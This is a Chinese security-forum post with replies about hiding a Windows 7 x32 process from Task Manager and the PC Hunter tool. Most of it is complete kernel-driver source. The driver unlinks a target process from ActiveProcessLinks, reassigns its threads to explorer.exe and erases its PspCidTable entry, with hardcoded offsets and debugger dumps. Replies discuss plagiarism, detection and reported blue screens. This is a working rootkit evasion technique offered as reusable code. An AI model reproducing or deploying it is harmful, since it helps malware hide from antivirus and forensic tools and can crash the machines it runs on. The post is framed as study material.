首页
社区
课程
招聘
[原创]进程的攻与“防” ---- 进程隐藏(Win7 x32 绕过PC Hunter)
发表于: 2020-5-7 15:57 17298

[原创]进程的攻与“防” ---- 进程隐藏(Win7 x32 绕过PC Hunter)

2020-5-7 15:57
17298

说来惭愧,360一面的时候,面试官问我如何去隐藏一个进程,我说很简单那,从EProcess的ActiveProcessLinks的双向列表中断开就完事了啊,面试官当时也没有提醒我,直到面试完,我自己研究了一下从双向列表中断开,但是发现只能躲过任务管理器的眼睛,但是用PcHunter 还是可以枚举出来的,我自己又试了一下从暴力方式去枚举进程,发现也是枚举出来,这时候我才想到,双向列表的断开,其本质上并没有实现隐藏的隐藏。所以,才有了今天这篇文章。



隐藏


隐藏,顾名思义就是藏起来,不被别人发现。进程隐藏本质意义上就是把Windows所有相关进程的数据结构中,将目标进程的信息抹去,但进程仍然驻留在内存中,在后台默默运行。


进程隐藏---0x00

这是最初的版本,我只从双向列表中断开了目标进程的节点,只能绕过任务管理器的研究,无法绕过PcHunter 和暴力枚举的方法。


EProcess  和Ethread 中有很多列表,理解LIST_ENTRY可以试着看一下这幅图 

结果演示:


任务管理器中已经没有了相关进程的信息。

但是我暴力枚举还是可以找出clac进程的。

从PcHunter中可以看到隐藏进程

所以这种方法我们只能简单的欺骗一下自己,而不能去欺骗杀软。

//System  ListEntry->Blink 是空节点
//Offset EProcess是到ActiveProcessLinks的偏移
 ListEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET; 
 v1 = (ULONG_PTR)ListEntry->Flink - x86_EPROCESS_OFFSET;
 while (v1 != EProcess)
 {
 //v1  0x87e95d40 struct _KPROCESS *
 //ImageFileName  0x87e95eac "calc.exe"
  ImageFileName = (ULONG_PTR)v1 + x86_IMAGEFILENAME_OFFSET;
  if (strcmp(ImageFileName,"System")==0)
  {
   __HeadEntry = (ULONG_PTR)v1+ x86_EPROCESS_OFFSET;
  }
  ListEntry = (ULONG_PTR)v1 + x86_EPROCESS_OFFSET;
  if (strcmp(ImageFileName, ProcessName) == 0)
  {
   if (ListEntry != NULL)
   {
    __ListEntry = ListEntry;
    RemoveEntryList(ListEntry);
    Status = STATUS_SUCCESS;
    break;
          }
  }
 v1 = (ULONG_PTR)(ListEntry->Flink) - x86_EPROCESS_OFFSET;

进程隐藏---0x01


 经过一些列的思考和学习,发现了可以绕过PC Hunter 的办法,直接上结果。

隐藏之前:

隐藏之后:


其实绕过PcHunter实现隐藏进程也很简单,就是比之前的方法多了几个步骤而已。

  • 从EProcess中的ActiveProcessLinks中断开clac.exe进程信息结点


  • 抹除clac.exe进程的所有线程(直接杀死线程,进程也就不存在了,所有这里是改变线程的父进程信息,以欺骗为目的)


  • 从PspCidTable中抹去保存clac.exe 进程的EProcess的信息 


ActiveProcessLinks中断开clac.exe进程信息结点

/**********************************************************************************************/
/***********************************断开ActiveProcessLinks节点*********************************/
/**********************************************************************************************/
  //System  ListEntry->Blink 是空节点
     
  ListEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET;
  v1 = (ULONG_PTR)ListEntry->Flink - x86_EPROCESS_OFFSET;

  while (v1 != EProcess)
  {
   //v1  0x87e95d40 struct _KPROCESS *
   //ImageFileName  0x87e95eac "calc.exe"
   ImageFileName = (ULONG_PTR)v1 + x86_IMAGEFILENAME_OFFSET;
   ListEntry = (ULONG_PTR)v1 + x86_EPROCESS_OFFSET;
  
   if (strcmp(ImageFileName, ProcessName) == 0)
   {
    if (ListEntry != NULL)
    {
     __ListEntry = ListEntry;
     RemoveEntryList(ListEntry);
     __Target_EProcess = v1;
     DbgPrint("断开ActiveProcessLinks节点   Success");
     break;
    }
   }
   v1 = (ULONG_PTR)(ListEntry->Flink) - x86_EPROCESS_OFFSET;
  }

抹除clac.exe进程的所有线程

/**********************************************************************************************/
/****************************将目标进程的所有线程的父进程信息改掉******************************/
/**********************************************************************************************/

  /*
   +0x16c ImageFileName    : [15]  "calc.exe"
   +0x188 ThreadListHead   : _LIST_ENTRY [ 0x87d0d3a0 - 0x87a7bf40 ]
   3: kd>  dt _ETHREAD
   +0x000 Tcb              : _KTHREAD
   +0x200 CreateTime       : _LARGE_INTEGER
 
   +0x268 ThreadListEntry  : _LIST_ENTRY
  */
  v1 = NULL;
  ListEntry = NULL;
  v1 = __Target_EProcess;
  PLIST_ENTRY v2 = NULL;
  ListEntry = (PLIST_ENTRY)((ULONG_PTR)v1 + 0x188);
  v2 = ListEntry->Flink;
  do
  {
   EThread = (PETHREAD)((ULONG_PTR)v2 - 0x268);
   *(ULONG*)((ULONG_PTR)EThread + 0x150) = __Explorer_EProcess;
   v2 = v2->Flink;
   DbgPrint("目标进程的线程的父进程信息已改掉   Success");
  } while (v2 != ListEntry->Flink);

从PspCidTable中抹去保存clac.exe 进程的EProcess的信息  

/**********************************************************************************************/
/*******************************从PspCidTable中抹去进程信息************************************/
/**********************************************************************************************/
  ULONG PspCidTableAddress = GetPspCidTableAddress();
  if (PspCidTableAddress == 0)
  {
   return ;
  }
  ULONG HandleTable = *(PULONG)PspCidTableAddress;
  ULONG TableCode = *(PULONG)HandleTable;
  ULONG Flag = TableCode & 3;   //获取TableCode的最后两位 来确定层数
  TableCode &= 0xFFFFFFFC;      //如果系统采用了两层或者三层的时候,
    //TableCode就不是句柄表的地址了,把这个值后两位置为0之后,
    //则是一个指向多层表的指针。
 // TableCode  0x95d2a000
  switch (Flag)
  {
  case 0:    //1层结构
   Operation1(TableCode);
   break;
  case 1:    //2层结构
   Operation2(TableCode);
   break;
  case 2:    //3层结构
   Operation3(TableCode);
   break;
  default:
   break;
  }
  return;

在当你隐藏进程工作完成之后,当进程关闭的时候,你必须要将你修改过的所有信息恢复之后,才能退出进程。否则会发现蓝屏,因当你关闭进程的时候,系统会从PspCidTable中去寻找你关闭进程的EProcess,和所有线程的EThread,隐藏中你抹去了进程的EProcess,所有如果系统没有从PspCidTable中找到,那么系统会蓝屏。



下面附上完整代码:

ProcessHide-Pass-PcHunter.h
#pragma once
#include<fltKernel.h>
void DriverUnload(PDRIVER_OBJECT DriverObject);
void ProcessHide();
BOOLEAN GetEProcessInfo();
ULONG GetPspCidTableAddress();
ULONG Operation1(ULONG Address);
ULONG Operation2(ULONG Address);
ULONG Operation3(ULONG Address);
typedef ULONG_PTR(*LPFN_OBGETOBJECTTYPE)(PVOID Object);
ULONG_PTR MaGetObjectType(PVOID ObjectBody);
#include"ProcessHide-Pass-PcHunter.h"
#define x86_EPROCESS_OFFSET 0x0b8;
#define x86_IMAGEFILENAME_OFFSET 0x16c;
PLIST_ENTRY __ListEntry = NULL;
PLIST_ENTRY __HeadEntry = NULL;
PEPROCESS   __Target_EProcess = NULL;
PEPROCESS   __Explorer_EProcess = NULL; 
ULONG       __AddressOfPspCidTale = 0;
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegisterPath)
{
 UNREFERENCED_PARAMETER(RegisterPath);
 NTSTATUS Status = STATUS_SUCCESS;
 //设置驱动卸载历程
 DriverObject->DriverUnload = DriverUnload;
 ProcessHide();
 return  Status;
}

void DriverUnload(PDRIVER_OBJECT DriverObject)
{
 UNREFERENCED_PARAMETER(DriverObject);
 UNICODE_STRING DeviceLinkName;   //符号链接名
 PDEVICE_OBJECT v1 = NULL;
 PDEVICE_OBJECT DeleteDeviceObject = NULL;

 //通过驱动对象获得设备对象
 DeleteDeviceObject = DriverObject->DeviceObject;
 while (DeleteDeviceObject != NULL)
 {
  v1 = DeleteDeviceObject->NextDevice;
  //删除设备
  IoDeleteDevice(DeleteDeviceObject);
  DeleteDeviceObject = v1;
 }
 //恢复进程
 if (__HeadEntry && __ListEntry)
 {
  InsertHeadList(__HeadEntry, __ListEntry);
 }
 if (__AddressOfPspCidTale)
 {
  if (*((PULONG)__AddressOfPspCidTale) == 0)
  {
   memcpy(__AddressOfPspCidTale, __Target_EProcess, sizeof(PULONG));
  }
 }
 
 DbgPrint("DriverUnload()\r\n");
}
void ProcessHide()
{
 /***************************
 * 1.先从ActiveProcessLinks中断开节点
 * 2.将目标进程的所有线程的父进程信息改掉
 * 3.从PspCidTable中抹去进程信息
 *
 * 目标进程: clac.exe
 ****************************/

 char *ProcessName = "calc.exe";
 PLIST_ENTRY ListEntry = NULL;
 PEPROCESS EProcess = NULL;
 PEPROCESS v1 = NULL;
 PETHREAD EThread = NULL;
 
 char* ImageFileName = NULL;
 //所有驱动都运行在System 进程下  
 EProcess = PsGetCurrentProcess();
 if (EProcess == NULL)
 {
  return;
 }
 //System 
 __HeadEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET;
 
 
 if (GetEProcessInfo() == FALSE)
 {
  return;
 }
/**********************************************************************************************/
/***********************************断开ActiveProcessLinks节点*********************************/
/**********************************************************************************************/
  //System  ListEntry->Blink 是空节点
     
  ListEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET;
  v1 = (ULONG_PTR)ListEntry->Flink - x86_EPROCESS_OFFSET;

  while (v1 != EProcess)
  {
   //v1  0x87e95d40 struct _KPROCESS *
   //ImageFileName  0x87e95eac "calc.exe"
   ImageFileName = (ULONG_PTR)v1 + x86_IMAGEFILENAME_OFFSET;
   ListEntry = (ULONG_PTR)v1 + x86_EPROCESS_OFFSET;
  
   if (strcmp(ImageFileName, ProcessName) == 0)
   {
    if (ListEntry != NULL)
    {
     __ListEntry = ListEntry;
     RemoveEntryList(ListEntry);
     __Target_EProcess = v1;
     DbgPrint("断开ActiveProcessLinks节点   Success");
     break;
    }
   }
   v1 = (ULONG_PTR)(ListEntry->Flink) - x86_EPROCESS_OFFSET;
  }
/**********************************************************************************************/
/****************************将目标进程的所有线程的父进程信息改掉******************************/
/**********************************************************************************************/

  /*
   +0x16c ImageFileName    : [15]  "calc.exe"
   +0x188 ThreadListHead   : _LIST_ENTRY [ 0x87d0d3a0 - 0x87a7bf40 ]
   3: kd>  dt _ETHREAD
   +0x000 Tcb              : _KTHREAD
   +0x200 CreateTime       : _LARGE_INTEGER
 
   +0x268 ThreadListEntry  : _LIST_ENTRY
  */
  v1 = NULL;
  ListEntry = NULL;
  v1 = __Target_EProcess;
  PLIST_ENTRY v2 = NULL;
  ListEntry = (PLIST_ENTRY)((ULONG_PTR)v1 + 0x188);
  v2 = ListEntry->Flink;
  do
  {
   EThread = (PETHREAD)((ULONG_PTR)v2 - 0x268);
   *(ULONG*)((ULONG_PTR)EThread + 0x150) = __Explorer_EProcess;
   v2 = v2->Flink;
   DbgPrint("目标进程的线程的父进程信息已改掉   Success");
  } while (v2 != ListEntry->Flink);

/**********************************************************************************************/
/*******************************从PspCidTable中抹去进程信息************************************/
/**********************************************************************************************/
  ULONG PspCidTableAddress = GetPspCidTableAddress();
  if (PspCidTableAddress == 0)
  {
   return ;
  }
  ULONG HandleTable = *(PULONG)PspCidTableAddress;
  ULONG TableCode = *(PULONG)HandleTable;
  ULONG Flag = TableCode & 3;   //获取TableCode的最后两位 来确定层数
  TableCode &= 0xFFFFFFFC;      //如果系统采用了两层或者三层的时候,
  //TableCode就不是句柄表的地址了,把这个值后两位置为0之后,
    //则是一个指向多层表的指针。
 // TableCode  0x95d2a000
  switch (Flag)
  {
  case 0:    //1层结构
   Operation1(TableCode);
   break;
  case 1:    //2层结构
   Operation2(TableCode);
   break;
  case 2:    //3层结构
   Operation3(TableCode);
   break;
  default:
   break;
  }
  return;
}
BOOLEAN GetEProcessInfo()
{
 PLIST_ENTRY ListEntry = NULL;
 PEPROCESS EProcess = NULL;
 PEPROCESS v1 = NULL;
 BOOLEAN  IsOk = FALSE;
 char* ImageFileName = NULL;
 EProcess = PsGetCurrentProcess();
 if (EProcess == NULL)
 {
  return FALSE;
 }
 ListEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET;
 v1 = (ULONG_PTR)ListEntry->Flink - x86_EPROCESS_OFFSET;
 while (v1 != EProcess)
 {
  //v1  0x87e95d40 struct _KPROCESS *
  //ImageFileName  0x87e95eac "calc.exe"
  ImageFileName = (ULONG_PTR)v1 + x86_IMAGEFILENAME_OFFSET;
  ListEntry = (ULONG_PTR)v1 + x86_EPROCESS_OFFSET;
  if (strcmp(ImageFileName, "explorer.exe") == 0)
  {
   __Explorer_EProcess = v1;
   IsOk = TRUE;
   break;
  }
  v1 = (ULONG_PTR)(ListEntry->Flink) - x86_EPROCESS_OFFSET;
 }
 return IsOk;
}
ULONG Operation1(ULONG Address)
{
 LONG Object = 0;
 BOOLEAN IsOk = FALSE;
 ULONG ItemCount = 511;
 ULONG ObjectID = 0;
 ULONG ObjectType = 0;
 ULONG HandleTableAddress = Address + 8;
 /*
 HandleTableAddress 0x8e404000
 3: kd> dd 0x8e404000
8e404000  00000000 fffffffe 878dd799 00000000
8e404010  878dd4c1 00000000 8793c431 00000000
8e404020  8793c921 00000000 87938d49 00000000
8e404030  87938931 00000000 8792cd49 00000000
8e404040  8792ca71 00000000 87928d49 00000000
8e404050  87928a71 00000000 87914d49 00000000
8e404060  87914a71 00000000 87904d49 00000000
8e404070  87904a71 00000000 878ecd49 00000000
至于0,句柄值为0×0000代表是NULL
刚好_HANDLE_TABLE_ENTRY的第0个表项为无效值
句柄值为0×0004有效
其实这个对象就是pid为4的system.exe进程。 EProcess 是 878dd798

记事本的PID为3708(十进制),应当位于第3708/4=927 个表项,
我们每一个1级索引表能容纳512个表项,毋庸置疑,
PID3708 应该在第2个二级索引指向的1级索引的第927-512=415=0x19F个表项(每个表项8Byte)
 */
 do
 {
   Object = *(PULONG)HandleTableAddress;
   Object = Object & 0xFFFFFFF8;  //Object最后三位置0,Object即为EPROCESS的地址
   if (Object)
   {
    ObjectType = MaGetObjectType(Object);
    if (ObjectType == *PsProcessType)
    {
     if ((ULONG_PTR)Object == (ULONG_PTR)__Target_EProcess)
     {
      __AddressOfPspCidTale = HandleTableAddress;
      memset(HandleTableAddress, 0, sizeof(HANDLE));
      DbgPrint("PspCidTable中的EProcess已清零   Success");
      IsOk = TRUE;
      break;
     }
    }
      }
  HandleTableAddress += 8;
 } while (--ItemCount > 0);
 return IsOk;
}
ULONG Operation2(ULONG Address)
{
 BOOLEAN IsOk = FALSE;
 do {
  IsOk = Operation1(*(PULONG)Address);
  if (IsOk)
  {
   break;
  }
  Address += 4;
 } while ((*(PULONG)Address) != 0);
 return IsOk;
}
ULONG Operation3(ULONG Address)
{
 BOOLEAN IsOk = FALSE;
 do {
  IsOk = Operation2(*(PULONG)Address );
  if (IsOk)
  {
   break;
  }
  Address += 4;
 } while ((*(PULONG)Address) != 0);
 return IsOk;
}
ULONG GetPspCidTableAddress()
{
 ULONG PspCidTableAddress = 0;
 //搜索PsLookUpProcessByProcessId
 UNICODE_STRING v1;
 RtlInitUnicodeString(&v1, L"PsLookupProcessByProcessId");
 PVOID lpPsLookupProcessByProcessId = MmGetSystemRoutineAddress(&v1);
 if (lpPsLookupProcessByProcessId == NULL)
 {
  return PspCidTableAddress;
 }
 //Win7 x86的偏移位置
 const ULONG PSPCIDTABLE_OFFSEET = 0x1E + 0x02;
 PspCidTableAddress = *(ULONG*)((ULONG)lpPsLookupProcessByProcessId + PSPCIDTABLE_OFFSEET);
 /*
 2: kd> uf PsLookupProcessByProcessId
 nt!PsLookupProcessByProcessId:
 84a7a950 8bff            mov     edi,edi
 .......
 84a7a96e 8b3dc40b9684    mov     edi,dword ptr [nt!PspCidTable (84960bc4)]
 84a7a974 e83757feff      call    nt!ExMapHandleToPointer (84a600b0)

 PspCidTableAddress = 0x84960bc4
 */

 return PspCidTableAddress;
}
ULONG_PTR MaGetObjectType(PVOID ObjectBody)
{
 ULONG_PTR ObjectType = NULL;
 LPFN_OBGETOBJECTTYPE        ObGetObjectType = NULL;
 if (!MmIsAddressValid || !ObjectBody || !MmIsAddressValid(ObjectBody))
 {
  return NULL;
 }
 UNICODE_STRING v1;
 RtlInitUnicodeString(&v1, L"ObGetObjectType");
 //MmGetSystemRoutineAddress 通过系统的第一模块中的导出表搜索得到
 ObGetObjectType = (LPFN_OBGETOBJECTTYPE)MmGetSystemRoutineAddress(&v1);

 if (ObGetObjectType)
 {
  ObjectType = ObGetObjectType(ObjectBody);
 }
 return ObjectType;
}

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------




后来看到网友的回复内容,我本没有想过抄袭的问题,因为写这个文章确实是我看到了一片文章,给我提供了思路,但是代码我没有用过原博主所设计的代码,在我看来虽然方法一样,但是是我自己写出来的代码,我觉得并不能算是抄袭。毕竟方法有限,不能说是提供一种全新的方法才能算是原创吧。


不过我还是附上原问链接吧,也能证明我是参考过原文方法的。

https://bbs.pediy.com/thread-221944.htm 


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-7-20 23:06 被Bw编辑 ,原因:
收藏
免费 13
支持
分享
最新回复 (23)
雪    币: 6366
活跃值: (4336)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
2
感谢分享,收藏备用
2020-5-7 16:13
0
雪    币: 1861
活跃值: (1163)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
感谢分享,楼主真棒
2020-5-7 16:54
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
mark,感谢楼主分享
2020-5-7 17:01
0
雪    币: 259
活跃值: (283)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
666
2020-5-7 19:25
0
雪    币: 21449
活跃值: (62273)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
6
感谢分享~
2020-5-11 15:11
0
雪    币: 310
活跃值: (2227)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
mark
2020-5-12 22:52
0
雪    币: 59
活跃值: (178)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
mark一下
2020-5-18 23:25
0
雪    币: 592
活跃值: (1465)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
谢谢分享 mark一下
2020-5-27 17:44
0
雪    币: 2065
活跃值: (500)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
10
https://bbs.pediy.com/thread-221944.htm 翻新小能手?
2020-6-1 08:26
1
雪    币: 3121
活跃值: (1609)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
给它一个 explorer,抹除动作太大了 :)
2020-6-3 19:02
0
雪    币: 1290
活跃值: (2332)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
12
还是可以找到,X86系统里能找进程的方法太多了
2020-6-3 22:03
0
雪    币: 11974
活跃值: (5554)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
13
这种抄3年前旧贴的文章也配评为优质?呵呵,看来论坛文章质量是每况愈下
2020-6-7 10:15
0
雪    币: 23080
活跃值: (3432)
能力值: (RANK:648 )
在线值:
发帖
回帖
粉丝
14
hhkqqs 这种抄3年前旧贴的文章也配评为优质?呵呵,看来论坛文章质量是每况愈下

楼主的文章在分享自己学习的成果,并记录自己对一些技术细节的理解,但是没有加上学习的参考文献,确实有违技术分享的“江湖规矩”。论坛鼓励大家多多发表自己的学习成果,在论坛分享和记录技术成果才能营造更好的技术氛围,希望大家以后再分享和记录的时候记得加上参考文献及链接。

最后于 2020-6-9 13:13 被KevinsBobo编辑 ,原因: 修改错字
2020-6-8 12:09
0
雪    币: 789
活跃值: (577)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
Bw
15
我修改过了 文章,并在文章最后附上了原文的链接。我是一个小菜鸟,本着学习的思想写的文章。也是在看雪发的第一篇文章,也没有抄袭的意思,虽然我是借鉴了原文的思路,但是并没有按照他的代码去复制粘贴,有什么江湖规矩,我一个新人也不是很懂,后面如果写文章我都会附上参考的内容的链接。


https://bbs.pediy.com/thread-221944.htm 
2020-7-20 23:09
0
雪    币: 740
活跃值: (952)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
16
我看过比较神奇的检测隐藏进程的方法是这篇,https://bbs.pediy.com/thread-51157.htm
不过没实践过,想来在x64下可能搜索的时间问题很大
2020-7-30 20:18
0
雪    币: 3
活跃值: (466)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
无脑遍历了解一下
2020-8-19 14:24
0
雪    币: 331
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
18
进程隐藏.这面试官什么水平? 进程就不可能被隐藏.除非你程序不运行了.那这样还有什么意义呢?
2020-8-24 10:01
0
雪    币: 8
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
收藏一下
2020-8-29 00:02
0
雪    币: 202
活跃值: (428)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
感谢分享
2020-8-31 19:42
0
雪    币: 1053
活跃值: (602)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
mark
2020-9-2 21:15
0
雪    币: 3102
活跃值: (3623)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
22
把eprocess结构体中的线程链表全修改掉真的不会蓝屏?你确定?
2021-4-2 13:28
0
雪    币: 13
活跃值: (87)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
总是会要蓝屏,怎么解决?
2022-3-25 23:05
0
雪    币: 213
活跃值: (844)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
mark
2022-3-26 15:13
0
游客
登录 | 注册 方可回帖
返回
//